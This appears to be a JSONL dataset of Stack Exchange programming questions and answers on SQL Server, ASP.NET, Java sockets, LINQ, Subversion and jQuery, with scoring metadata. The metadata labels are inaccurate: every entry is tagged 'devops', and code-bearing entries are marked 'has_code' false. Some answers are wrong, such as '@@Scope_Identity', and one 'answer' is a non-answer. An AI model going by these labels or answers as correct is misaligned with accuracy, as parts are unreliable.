{"id": "hf_4aa4818d55d7", "question": "<p>I need the month+year from the datetime in SQL Server like 'Jan 2008'. I'm grouping the query by month, year. I've searched and found functions like datepart, convert, etc., but none of them seem useful for this. Am I missing something here? Is there a function for this?</p>\n", "question_body": "", "answer": "That format doesn't exist. You need to do a combination of two things,\n```\n```\nselect convert(varchar(4),getdate(),100)  + convert(varchar(4),year(getdate()))\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:40.543406"}
{"id": "hf_7b86e42a3954", "question": "<p>I’ve writen a little python script that just pops up a message box containing the text passed on the command line. I want to pop it up only when the window —resulting from a previous call— is not open.</p>\n\n<pre><code>from Tkinter import *\nimport tkMessageBox\n\nroot = Tk()\nroot.withdraw() \n\n# TODO not if a window with this title exists\ntkMessageBox.showinfo(\"Key you!\", \" \".join(sys.argv[1:]))\n</code></pre>\n\n<p>Any idea how to check that?</p>\n", "question_body": "", "answer": "I believe you want:\n```\n```\nif 'normal' != root.state():\n    tkMessageBox.showinfo(\"Key you!\", \" \".join(sys.argv[1:]))\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:40.567832"}
{"id": "hf_ebdb72102bc3", "question": "<p>How can I add horizontal scroll capabilities to the asp.net listbox control?</p>\n", "question_body": "", "answer": "If you really, really need it, one idea would be to create a custom\nListBox class whose HTML looks like this: sets the width of the SELECT\nto that of your widest value's width (the max width of the scrollbar,\nfor example). Now wrap that SELECT inside of a DIV of the 'constrained'\nsize and let it scroll on overflow.\nHere's a quick example starting down those lines, here's the type of\nHTML you want spit out by a control:\n```\n```\n<div style=\"width:200px; height:100px; overflow:auto;\">\n<SELECT size=\"4\">\n<OPTION\nValue=\"1\">blahblahblahblahblahblahblahblahblahblah blahblah</OPTION>\n<OPTION Value=\"2\">2</OPTION>\n<OPTION Value=\"3\">3</OPTION>\n<OPTION Value=\"4\">4</OPTION>\n</SELECT>\n</div>\n```\n```\nso in essence I'd recommend creating a composite custom control for\nthis, which renders this HTML. They're pretty easy to make, Google on\nthe terms 'composite control asp.net'.\nThe toughest part will be matching up the div dimensions to that of the\nselect box, to make the scrollbars work/line up properly. That's why\nit's kinda tricky.\nSource\nAlso, take a look at this:\nAutomatically Adding/Hide Horizontal Scroll bar in the ListBox control\nEDIT\n: Make sure you have enough height to include the scroll bar height or else you'll get the vertical scroll bar on both controls.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:40.591506"}
{"id": "hf_6bb33c0c7a89", "question": "<p>I want my controller to return the right HTTP response code when the user lacks permission to view a particular page.</p>\n", "question_body": "", "answer": "Use this:\n```\nresponse.setStatus(403)\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:40.616113"}
{"id": "hf_160fd4dd6cff", "question": "<p>This happened to me in Visual Studio 2008 pre and post 2008 sp1 on more than one computer and to someone else I know, so it can't be an isolated incident.</p>\n\n<p>Seemingly random, every so often I lose all syntax highlighting in my aspx page (the html) so that Visual Studio now looks like a really expensive version of notepad.</p>\n\n<p>Does anyone know why does happens?  Better yet, anyone know how to fix it?</p>\n", "question_body": "", "answer": "You have basically experienced Visual Studio giving up.  It gives up for many reason, the page is too complicated to highlight which is usually because there are too many syntax errors.  The highlighting is done with some very complicated and intelligent RegEx statements essentially, however if Visual Studio is unable to apply them it just displays black text.\nOne thing to try is to fix all the syntax issues, if any.\nBy the way this \"giving up\" happens in most IDE's.  I have seen it happen once or twice in Elcipse too.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:40.664986"}
{"id": "hf_2e04030e0460", "question": "<p>I'm trying to use Groovy to create an interactive scripting / macro mode for my application. The application is OSGi and much of the information the scripts may need is not know up front. I figured I could use GroovyShell and call eval() multiple times continually appending to the namespace as OSGi bundles are loaded. GroovyShell maintains variable state over multiple eval calls, but not class definitions or methods.</p>\n\n<p>goal: Create a base class during startup. As OSGi bundles load, create derived classes as needed. </p>\n", "question_body": "", "answer": "This might be what you are looking for?\nFrom\nGroovy in Action\n```\n```\ndef binding = new Binding(x: 6, y: 4)\ndef shell = new GroovyShell(binding)\ndef expression = '''f = x * y'''\nshell.evaluate(expression)\nassert binding.getVariable(\"f\") == 24\n```\n```\nAn appropriate use of Binding will allow you to maintain state?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:40.689439"}
{"id": "hf_96cf0c85fa01", "question": "<p>Example</p>\n\n<p>I have <code>Person</code>, <code>SpecialPerson</code>, and <code>User</code>. <code>Person</code> and <code>SpecialPerson</code> are just people - they don't have a user name or password on a site, but they are stored in a database for record keeping. User has all of the same data as <code>Person</code> and potentially <code>SpecialPerson</code>, along with a user name and password as they are registered with the site.</p>\n\n<hr>\n\n<p>How would you address this problem? Would you have a <code>Person</code> table which stores all data common to a person and use a key to look up their data in <code>SpecialPerson</code> (if they are a special person) and User (if they are a user) and vice-versa?</p>\n", "question_body": "", "answer": "Personally, I would store all of these different user classes in a single table.  You can then either have a field which stores a 'Type' value, or you can imply what type of person you're dealing with by what fields are filled in.  For example, if UserID is NULL, then this record isn't a User.\nYou could link out to other tables using a one to one-or-none type of join, but then in every query you'll be adding extra joins.\nThe first method is also supported by LINQ-to-SQL if you decide to go down that route (they call it 'Table Per Hierarchy' or 'TPH').", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:40.766350"}
{"id": "hf_feb2e3bcd7e8", "question": "<p>In Java, what would the best way be to have a constantly listening port open, and still send upon receipt of a packet. I am not particularly savvy with network programming at the moment, so the tutorials I have found on the net aren't particularly helpful.</p>\n\n<p>Would it make sense to have the listening socket as a serversocket and run it in a separate thread to the socket I'm using to send data to the server?</p>\n\n<p>In a loosely related question. Does anyone know if programming simply for java, in netbeans then exporting it for use on a blackberry (using a plugin) the sockets would still work ?</p>\n", "question_body": "", "answer": "If you can afford the threading, try this (keep in mind I've left out some details like exception handling and playing nice with threads). You may want to look into\n```\nSocketChannels\n```\nand/or NIO async sockets / selectors. This should get you started.\n```\n```\nboolean finished = false;\nint port = 10000;\nServerSocket server = new ServerSocket(port);\n\nwhile (!finished) {\n    // This will block until a connection is made\n    Socket s = server.accept();\n    // Spawn off some thread (or use a thread pool) to handle this socket\n    // Server will continue to listen\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:40.789842"}
{"id": "hf_2958d3b40e5c", "question": "<p>How do you rewrite this in Linq?</p>\n\n<pre><code>SELECT Id, Name FROM TableA WHERE TableA.Id IN (SELECT xx from TableB INNER JOIN Table C....)\n</code></pre>\n\n<p>So in plain english, I want to select Id and Name from TableA where TableA's Id is in a result set from a second query.</p>\n", "question_body": "", "answer": "```\n```\nfrom a in TableA \nwhere (from b in TableB \n       join c in TableC on b.id equals c.id\n       where .. select b.id)\n.Contains(a.Id) \nselect new { a.Id, a.Name }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:40.851145"}
{"id": "hf_be00666b8314", "question": "<p>I was wondering if there is an open source library or algorithm that can expand a non-numeric range.  For example, if you have <code>1A</code> to <code>9A</code> you should get </p>\n\n<pre><code>1A, 2A, 3A, 4A, 5A, 6A, 7A, 8A, 9A.\n</code></pre>\n\n<p>I've tried Googling for this and the best I could come up with were Regex that would expand numerics with dashes (1-3 becoming 1,2,3).</p>\n", "question_body": "", "answer": "I was trying to leave it somewhat open because the number of possibilities is staggering.  I believe this one of those questions that could not be answered 100% here without going through a lot of technical detail about is considered a \"good\" or \"bad\" range.  I'm just trying to find a jumping point for ideas on how other people have tackled this problem.  I was hoping that someone wrote a blog post explaining how they went about it solving this problem or created a whole library to handle this.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:40.875574"}
{"id": "hf_30e2c6e849fc", "question": "<p>I inserted some values into a table. There is a column whose value is auto-generated. In the next statement of my code, I want to retrieve this value.</p>\n\n<p>Can you tell me how to do it the right way?</p>\n", "question_body": "", "answer": "```\n```\nSELECT @@Scope_Identity as Id\n```\n```\nThere is also @@identity, but if you have a trigger, it will return the results of something that happened during the trigger, where scope_identity respects your scope.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:40.911049"}
{"id": "hf_8b5ef5631cc0", "question": "<p>Is there a limit with the number of SSL connections?</p>\n\n<p>We are trying to connect through SSL with 2000 sessions. We have tried it a couple of times but it always dies at 1062nd. Is there a limit?</p>\n", "question_body": "", "answer": "Yes, everything has a limit. As far as I'm aware, there is no inherit limit with \"SSL\".. it is after all just a protocol.\nBut, there is a limited amount of memory, ports, CPU on the machine you are connected to, from and every single one in between.\nThe actually server you are connected to may have an arbitrary limit set too.\nThis question doesn't have enough information to answer beyond \"YES\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:40.962316"}
{"id": "hf_4523771e1db4", "question": "<p>Let's say I want to run a .NET application on a machine where the .NET framework is not available; Is there any way to compile the application to native code?</p>\n", "question_body": "", "answer": "Yes, using\nNgen\n, the Native Image Generator. There are, however, a number of things you need to be aware of:\nYou still need the CLR to run your executable.\nThe CLR will not dynamically optimize your assemblies based on the environment it's run in (e.g. 486 vs. 586 vs. 686, etc.)\nAll in all, it's only worth using Ngen if you need to reduce the startup time of your application.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:40.999232"}
{"id": "hf_0fcf8f9dc9aa", "question": "<p>Can't get to my site. Apache gives the following error message:  </p>\n\n<blockquote>\n  <p>[Fri Sep 05 08:47:42 2008] [error] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.  : proxy: HTTP: attempt to connect to 10.10.10.1:80 (10.10.10.1) failed</p>\n</blockquote>\n", "question_body": "", "answer": "Can you connect to the proxied host (10.10.10.1) directly?  Is it functioning normally?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:41.067607"}
{"id": "hf_d1090488f137", "question": "<p>I'm curious about everyones practices when it comes to using or distributing libraries for an application that you write.</p>\n\n<p>First of all, when developing your application do you link the debug or release version of the libraries? (For when you run your application in debug mode)</p>\n\n<p>Then when you run your app in release mode just before deploying, which build of the libraries do you use?</p>\n\n<p>How do you perform the switch between your debug and release version of the libraries? Do you do it manually, do you use macros, or whatever else is it that you do?</p>\n", "question_body": "", "answer": "I would first determine what requirements are needed from the library:\nDebug/Release\nUnicode support\nAnd so on..\nWith that determined you can then create configurations for each combination required by yourself or other library users.\nWhen compiling and linking it is very important that you keep that libraries and executable consistent with respect to configurations used i.e. don't mix release & debug when linking.\nI know on the Windows/VS platform this can cause subtle memory issues if debug & release libs are mixed within an executable.\nAs Brian has mentioned to Visual Studio it's best to use the Configuration Manager to setup how you want each configuration you require to be built.\nFor example our projects require the following configurations to be available depending on the executable being built.\nDebug+Unicode\nDebug+ASCII\nRelease+Unicode\nRelease+ASCII\nThe users of this particular project use the Configuration Manager to match their executable requirements with the project's available configurations.\nRegarding the use of macros, they are used extensively in implementing compile time decisions for requirements like if the debug or release version of a function is to be linked. If you're using VS you can view the pre-processor definitions attribute to see how the various macros are defined e.g. _DEBUG _RELEASE, this is how the configuration controls whats compiled.\nWhat platform are you using to compile/link your projects?\nEDIT: Expanding on your updated comment..\nIf the\nConfiguration Manager\noption is not available to you then I recommend using the following properties from the project:\nLinker\n->\nAdditional Library Directories\nor\nLinker\n->\nInput\nUse the macro\n```\n$(ConfigurationName)\n```\nto link with the appropriate library configuration e.g. Debug/Release.\n```\n```\n$(ProjectDir)\\..\\third-party-prj\\$(ConfigurationName)\\third-party.lib\n```\n```\nBuild Events\nor\nCustom Build Step\nconfiguration property\nExecute a copy of the required library file(s) from the dependent project prior (or after) to the build occurring.\n```\n```\nxcopy $(ProjectDir)\\..\\third-party-prj\\$(ConfigurationName)\\third-party.dll $(IntDir)\n```\n```\nThe macro\n```\n$(ProjectDir)\n```\nwill be substituted for the current project's location and causes the operation to occur relative to the current project.\nThe macro\n```\n$(ConfigurationName)\n```\nwill be substituted for the currently selected configuration (default is\n```\nDebug\n```\nor\n```\nRelease\n```\n) which allows the correct items to be copied depending on what configuration is being built currently.\nIf you use a regular naming convention for your project configurations it will help, as you can use the\n```\n$(ConfigurationName)\n```\nmacro, otherwise you can simply use a fixed string.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:41.101929"}
{"id": "hf_8fce12531a8d", "question": "<p>I've had some trouble forking of processes from a Perl CGI script when running on Windows. The main issue seems to be that 'fork' is emulated when running on windows, and doesn't actually seem to create a new process (just another thread in the current one). This means that web servers (like IIS) which are waiting for the process to finish continue waiting until the 'background' process finishes.</p>\n\n<p>Is there a way of forking off a background process from a CGI script under Windows? Even better, is there a single function I can call which will do this in a cross platform way?</p>\n\n<p>(And just to make life extra difficult, I'd really like a good way to redirect the forked processes output to a file at the same time).</p>\n", "question_body": "", "answer": "perlfork\n:\nPerl provides a fork() keyword that\n  corresponds to the Unix system call of\n  the same name. On most Unix-like\n  platforms where the fork() system call\n  is available, Perl's fork() simply\n  calls it.\nOn some platforms such as Windows\n  where the fork() system call is not\n  available, Perl can be built to\n  emulate fork() at the interpreter\n  level. While the emulation is designed\n  to be as compatible as possible with\n  the real fork() at the the level of\n  the Perl program, there are certain\n  important differences that stem from\n  the fact that all the pseudo child\n  ``processes'' created this way live in\n  the same real process as far as the\n  operating system is concerned.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:41.157816"}
{"id": "hf_e30bbed6177b", "question": "<p>Is there a way with WPF to get an array of elements under the mouse on a MouseMove event?</p>\n", "question_body": "", "answer": "Can you use the\nVisualTreeHelper.HitTest\n?\nhttp://lukieb.blogspot.com/2008/07/visualtreehelperhittest.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:41.206465"}
{"id": "hf_ade83f5f9f76", "question": "<p>How do you automatically set the focus to a textbox when a web page loads?</p>\n\n<p>Is there an HTML tag to do it or does it have to be done via Javascript?</p>\n", "question_body": "", "answer": "You need to use javascript:\n```\n```\n<BODY onLoad=\"document.getElementById('myButton').focus();\">\n```\n```\n@Ben notes that you should not add event handlers like this. While that is another question, he recommends that you use this function:\n```\n```\nfunction addLoadEvent(func) {\n  var oldonload = window.onload;\n  if (typeof window.onload != 'function') {\n    window.onload = func;\n  } else {\n    window.onload = function() {\n      if (oldonload) {\n        oldonload();\n      }\n      func();\n    }\n  }\n}\n```\n```\nAnd then put a call to addLoadEvent on your page and reference a function the sets the focus to you desired textbox.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:41.241975"}
{"id": "hf_87b95a91dceb", "question": "<p>I am using <a href=\"http://code.google.com/p/js2-mode/\" rel=\"noreferrer\">js2-mode</a> to edit Javascript in Emacs, but I can't seem to get it to stop using tabs instead of spaces for indentation. My other modes work fine, just having issues w/ js2.</p>\n", "question_body": "", "answer": "Do you have\n```\n(setq-default indent-tabs-mode nil)\n```\nin your .emacs? It works fine for me in emacs 23.0.60.1 when I do that. js2-mode uses the standard emacs function indent-to, which respects indent-tabs-mode, to do its indenting.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:41.277007"}
{"id": "hf_9700381f8663", "question": "<p>I have jQuery but I'm not sure if it has any built-in sorting helpers. I could make a 2d array of each item's <code>text</code>, <code>value</code>, and <code>selected</code> properties, but I don't think that javascript's built in <code>Array.sort()</code> would work correctly.</p>\n", "question_body": "", "answer": "Well, in IE6 it seems to sort on the nested array's [0] item:\n```\n```\nfunction sortSelect(selectToSort) {\n    var arrOptions = [];\n\n    for (var i = 0; i < selectToSort.options.length; i++)  {\n        arrOptions[i] = [];\n        arrOptions[i][0] = selectToSort.options[i].value;\n        arrOptions[i][1] = selectToSort.options[i].text;\n        arrOptions[i][2] = selectToSort.options[i].selected;\n    }\n\n    arrOptions.sort();\n\n    for (var i = 0; i < selectToSort.options.length; i++)  {\n        selectToSort.options[i].value = arrOptions[i][0];\n        selectToSort.options[i].text = arrOptions[i][1];\n        selectToSort.options[i].selected = arrOptions[i][2];\n    }\n}\n```\n```\nI'll see if this works in other browsers...\nEdit: it works in Firefox too, woo hoo!\nIs there an easier way than this though? is there some method built into javascript or jQuery that sorts selects that I am missing, or is this the best way?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:41.333794"}
{"id": "hf_3879d923dfb4", "question": "<p>In an application that I'm writing I have some code like this:</p>\n\n<pre><code>NSWorkspace* ws = [NSWorkspace sharedWorkspace];\nNSString* myurl = @\"http://www.somewebsite.com/method?a=%d\";\n\nNSURL* url = [NSURL URLWithString:myurl];\n\n[ws openURL:url];\n</code></pre>\n\n<p>The main difference being that <em>myurl</em> comes from somewhere outside my control. Note the %d in the URL which isn't entirely correct and means that URLWithString fails, returning <em>nil</em>.</p>\n\n<p>What is the \"correct\" way of handling this? Do I need to parse the string and properly encode the arguments? Or is there some clever method in Cocoa that does all the hard work for me?</p>\n", "question_body": "", "answer": "I think the behaviour here is correct, because %d is not a valid component of a URL (% is the escape, but expects two hex characters to follow it).\nYou can't just URL encode the URL as given to you, because that would encode the /s and ?s as well, which you don't want.\nSo, the question is, what's the correct behaviour here?\nPerhaps you would want it to be turned into...\n```\n```\nhttp://www.somewebsite.com/method?a=%25d\n```\n```\n(i.e. the % is encode to the encoded version of % in a URL, so when method gets the input, it sees a as being set to %d)\nI don't think there's any library function which will do that sort of thing for you, since there's no 'correct' way to do it. About he only correct thing you can do is return an error message saying the URL you were given is invalid (just as URLWithString is)\nIf you wanted to try to handle the input, I guess you would need to search the URL for any % symbols which are not immediately followed by two hex characters, and then replace the % with %25 in that case. That should be quite possible with a regular expression, though I suspect there may be some additional complexities if your URLs start containing encoded versions of characters outside the ASCII character set.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:41.357283"}
{"id": "hf_3bc22f26e5fb", "question": "<p>I've used subversion for a  while, and used the svnmerge.py script for a while in my old job to manage merges between branches. I believe Subversion 1.5 is now out, and was supposed to have some branch / merge management system integrated with it.</p>\n\n<p>So, can someone give me a quick overview of how to track merges in a branch with Subversion 1.5? Are there any pitfalls with using this support? Do I need to ensure all the team upgrades to 1.5 before using this support?</p>\n", "question_body": "", "answer": "Usage\nMerge tracking is managed by the client and stored in a property (\nsvn:mergeinfo\n).\nTo use merge tracking you just merge as usual but without the revision range:\n```\n```\nsvn merge trunkURL\n```\n```\nThe client will take care of reading the properties to see what revision(s) need to be merged in and then update the properties with the newly-merged revision(s).\nHere\nis a pretty basic overview of the process.\nPitfalls, etc.\nI personally haven't run into any problems with merge tracking, but my usage of the feature has been pretty light.\nUpgrading\nThere are two upgrades you'll need to do to get merge tracking:\nServer: Your server\nmust\nbe running 1.5 to get merge tracking support.\nClient: You can use a 1.x client against a 1.5 server,\nbut you won't get merge tracking.\nJust upgrade everyone.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:41.415627"}
{"id": "hf_3fe68b60ec14", "question": "<p>I'm building a website that requires very basic markup capabilities. I can't use any 3rd party plugins, so I just need a simple way to convert markup to HTML. I might have a total of 3 tags that I'll allow.</p>\n<p>What is the best way to convert <code>==Heading==</code> to <code>&lt;h2&gt;Heading&lt;/h2&gt;</code>, or <code>--bold--</code> to <code>&lt;b&gt;bold&lt;/b&gt;</code>? Can this be done simply with Regex, or does somebody have a simple function?</p>\n<p>I'm writing this in C#, but examples from other languages would probably work.</p>\n", "question_body": "", "answer": "It's not really a simple problem, because if you're going to display things back to the user, you'll need to also sanitise the input to ensure you don't create any\ncross site scripting\nvulnerabilities.\nThat said, you could probably do something pretty simple as you describe most easily with a regular expression replacement.\nFor example\n```\n```\nreplace the pattern ==([^=]*)== with <h2>\\1</h2>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:41.507582"}
{"id": "hf_9f4b8f1d6c30", "question": "<p>How can I change default <a href=\"http://msdn.microsoft.com/en-us/library/3a7hkh29.aspx\" rel=\"nofollow noreferrer\">Generate Method Stub</a> behavior in Visaul Studio to generate method with body</p>\n\n<pre><code>throw new NotImplementedException();\n</code></pre>\n\n<p>instead of </p>\n\n<pre><code>throw new Exception(\"The method or operation is not implemented.\");\n</code></pre>\n", "question_body": "", "answer": "Taken from:\nhttp://blogs.msdn.com/ansonh/archive/2005/12/08/501763.aspx\nVisual Studio 2005 supports targeting the 1.0 version of the compact framework.  In order to keep the size of the compact framework small, it does not include all of the same types that exist in the desktop framework.  One of the types that is not included is NotImplementedException.\nYou can change the generated code by editing the code snippet file:\nC:\\Program Files\\Microsoft Visual Studio 8\\VC#\\Snippets\\1033\\Refactoring\\MethodStub.snippet\nand changing the Declarations section to the following:\n```\n```\n<Declarations>\n            <Literal Editable=\"true\">\n                <ID>signature</ID>\n                <Default>signature</Default>\n            </Literal>\n            <Literal>\n                <ID>Exception</ID>\n                <Function>SimpleTypeName(global::System.NotImplementedException)</Function>\n            </Literal>\n        </Declarations>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:41.529502"}
{"id": "hf_57fafdb218d7", "question": "<p>My work has a financial application, written in <code>VB.NET</code> with <code>SQL</code>, that several users can be working on at the same time.</p>\n\n<p>At some point, one user might decide to Post the batch of entries that they (and possibly other people) are currently working on.</p>\n\n<p>Obviously, I no longer want any other users to <strong>add</strong>, <strong>edit</strong>, or <strong>delete</strong> entries in that batch <strong>after</strong> the <strong>Post process</strong> has been initiated.</p>\n\n<p>I have already seen that I can lock <strong>all</strong> data by opening the SQL transaction the moment the Post process starts, but the process can be fairly lengthy and I would prefer not to have the Transaction open for the several minutes it might take to complete the function.</p>\n\n<p>Is there a way to lock just the records that I know need to be operated on from VB.NET code?</p>\n", "question_body": "", "answer": "add\n```\n```\nwith (rowlock)\n```\n```\nto your SQL query\nSQL Server Performance article\nEDIT:\nok, I misunderstood the question. What you want is transaction isolation. +1 to Joel :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:41.609720"}
{"id": "hf_2bd821f2d348", "question": "<p>Details:</p>\n\n<ul>\n<li>Only disable after user clicks the submit button, but before the posting back to the server</li>\n<li>ASP.NET Webforms (.NET 1.1)</li>\n<li>Prefer jQuery (if any library at all)</li>\n<li>Must be enabled if form reloads (i.e. credit card failed)</li>\n</ul>\n\n<p>This isn't a necessity that I do this, but if there is a simple way to do it without having to change too much, I'll do it. (i.e. if there isn't a simple solution, I probably won't do it, so don't worry about digging too deep)</p>\n", "question_body": "", "answer": "in JQuery:\n```\n```\n$('#SubmitButtonID').click(function() { this.disabled = true; });\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:41.650537"}
{"id": "hf_9fc992877033", "question": "<p>I'm using TortoiseSVN against the SourceForge SVN repository. I'd like to move a file from one folder to another in order to maintain its revision history. Is this possible? If so, how do you do it?</p>\n\n<p>(My current strategy has been to copy the file into the new folder and check it in and then delete the file from the current folder.)</p>\n", "question_body": "", "answer": "Subversion has native support for moving files.\n```\n```\nsvn move SOURCE DESTINATION\n```\n```\nSee the online help (svn help move) for more information.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:41.679859"}
{"id": "hf_6b9e8806206f", "question": "<p>I've seen people doing things like this in their HTML:</p>\n\n<pre><code>&lt;!--[if IE]&gt;\n  &lt;link rel=\"stylesheet\" href=\"ie.css\" type=\"text/css\" /&gt;\n&lt;![endif]--&gt;\n</code></pre>\n\n<p>Does this work across all modern browsers and is there a list of browser types that will work with that kind of if statement?</p>\n\n<p><strong>Edit</strong></p>\n\n<p>Thanks <a href=\"https://stackoverflow.com/questions/46124/is-there-a-list-of-browser-conditionals-for-use-including-stylesheets#46126\">Ross</a>.  Interesting to find out about <strong>gt, lt, gte, &amp; lte</strong>.</p>\n", "question_body": "", "answer": "This works across all browsers because anything except IE sees\n```\n<!--IGNORED COMMENT-->\n```\n. Only IE reads the comment if it contains a conditional clause. Have a look at\nthis article\nYou can also specify which version of IE. For example:\n```\n```\n<!--[if IE 8]>\n<link rel=\"stylesheet type=\"text/css\" href=\"ie8.css\" />\n<![endif]-->\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:41.728470"}
